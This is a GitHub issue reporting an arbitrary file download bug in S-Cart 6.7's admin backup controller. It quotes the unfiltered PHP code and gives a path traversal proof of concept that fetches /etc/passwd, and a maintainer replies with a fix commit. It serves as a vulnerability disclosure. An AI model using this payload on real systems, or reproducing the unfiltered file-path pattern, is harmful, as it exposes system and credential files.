Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A bug that leads to Arbitrary file download #102

Closed
a756379684 opened this issue Nov 17, 2021 · 1 comment
Closed

A bug that leads to Arbitrary file download #102

a756379684 opened this issue Nov 17, 2021 · 1 comment

Comments

@a756379684
Copy link

Describe the bug
cod in vendor/s-cart/core/src/Admin/Controllers/AdminBackupController.php

    $download = request('download') ?? '';
    if ($download) {
        $file = storage_path() . "/backups/" . $download;
        if (file_exists($file)) {
            $headers = array(
                'Content-Type' => 'application/octet-stream',
            );
            return response()->download($file, '', $headers);
        }
    }

without any filter,can Splicing the path.

poc:

sc_admin/backup/?download=../../../../../../../../../../../../etc/passwd

To Reproduce
Steps to reproduce the behavior:

  1. login in as admin
  2. visit the path:sc_admin/backup/?download=../../../../../../../../../../../../etc/passwd
  3. the file will be downloaded

Screenshots
image

version
newest
6.7

@lanhktc
Copy link
Collaborator

lanhktc commented Nov 17, 2021

@a756379684 Thanks for report.
bug fixed s-cart/core@328dd31

@lanhktc lanhktc closed this as completed Nov 17, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants